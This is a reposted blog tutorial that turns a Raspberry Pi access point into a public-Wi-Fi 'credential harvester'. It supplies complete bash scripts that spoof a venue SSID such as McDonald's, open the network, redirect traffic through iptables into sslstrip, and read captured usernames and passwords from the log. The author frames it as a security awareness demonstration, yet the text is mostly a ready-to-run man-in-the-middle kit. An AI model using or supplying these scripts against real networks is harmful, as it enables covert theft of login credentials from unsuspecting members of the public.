Here is a post from my blog involving using SSLStrip in a MITM attack with a Raspberry Pi - had to take it down as Google Blogger didn't like it, so this content is pasted from Evernote :)
As part of a security awareness demonstration, I set up my 3g Pi Wireless AP to strip SSL from secure websites and harvest the login details. You may be familiar with this in the context of MITM attacks, however as the Pi is the gateway, there is no need to ARP poison the network and the whole thing runs a bit quicker. I wanted to show how easy it would be for someone to set up wireless AP providing free internet, with the equipment hidden - maybe in a backpack - and sit in a public place grabbing login details without anyone suspecting a thing*. In the future I would like to do this while running the Pi from a battery bank.
- The major give-away that the attack is taking place is that the navigation bar in the browser no longer shows 'https:' at the start of the URL.
A description of the scripts follows:
Menu
This script a simple menu for using the credential harvester scripts. It is copied from Jeroen Doggen's blog, and edited to suit. The highlighted parts need to be changed to the directory containing the scripts.
menu.sh
#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "
read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;
esac
done
Change SSID
For the Pi credential harvester to appear believable, we need to be able to change the SSID - the name everyone sees in when they scan for available networks - to match our current environment. Sat in McDonalds? Change the SSID to 'McDonalds Free Customer Wifi' or something of that nature.
Seeing as the Pi credential harvester is headless, the easiest way to do this would be SSH in over Wifi and run a simple script.
The script will make use of the Sed command. From the Sed man page:
Sed is a stream editor. A stream editor is used to perform basic text
transformations on an input stream (a file or input from a pipeline).
So we should be able to replace the entry for SSID name in the hostapd.conf file by using Sed. The man page specifies that the '-i' flag is used for in-line changes - as such, live changes that don't create another copy of the file. To replace the SSID, the full command syntax would be:
sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE
The 's' and 'g' at the beginning and end of the search and replace string define the type of search and replace to be carried outOur STRING_TO_FIND would be 'SSID=Pifi', and the STRING_TO_REPLACE would be 'SSID=McDonalds Free Customer Wifi' in this example. FILE is the /etc/hostapd.conf file, giving us the command:
sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf
The hostapd service needs to be restarted in order for the change to be applied:
sudo service hostapd restart
The final script I came up with gets the name of the current SSID, displays it, then prompts the user to enter the desired SSID. This is passed to 'sed' which carries out an in-line edit of hostapd.conf, and restarts the service to apply the change.
changeSsid.sh
#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name
echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
sudo service hostapd restart
Make Network Open
makeOpen.sh
This script uses 'sed' to comment out the line in hostapd.conf which enables wpa security - this makes the AP open so everyone can joing it. The hostapd service is restarted to enable the change.
#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart
Run SSLStrip
sslStrip.sh
This script runs SSLStrip, which 'fakes' the SSL protection from secure websites, allowing login credentials to be read in plain text. You can find more information on the SSLStrip website.
#!/bin/bash
echo "Editing Iptables and starting sslstrip"
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &
Close SSLStrip
This script removes the routing rule from iptables, allowing normal browsing again. It also kills the sslstrip process.
tidySslStrip.sh
#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo killall sslstrip
Make Network Secure
This script uses 'sed' to re-enable the wpa line in hostapd.conf, making the AP secure again.
makeSecure.sh
#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart
If you are copying and pasting these into scripts manually, remember to make them executable, using:
sudo chmod +x SCRIPT_NAME
Viewing Credentials
This script simply opens the SSLStrip log file so you can search through it for usernames and passwords - there is a lot of garbage in the file, but they are in there!
#!/bin/bash
sudo nano /home/pi/cred_harv/ssl.log
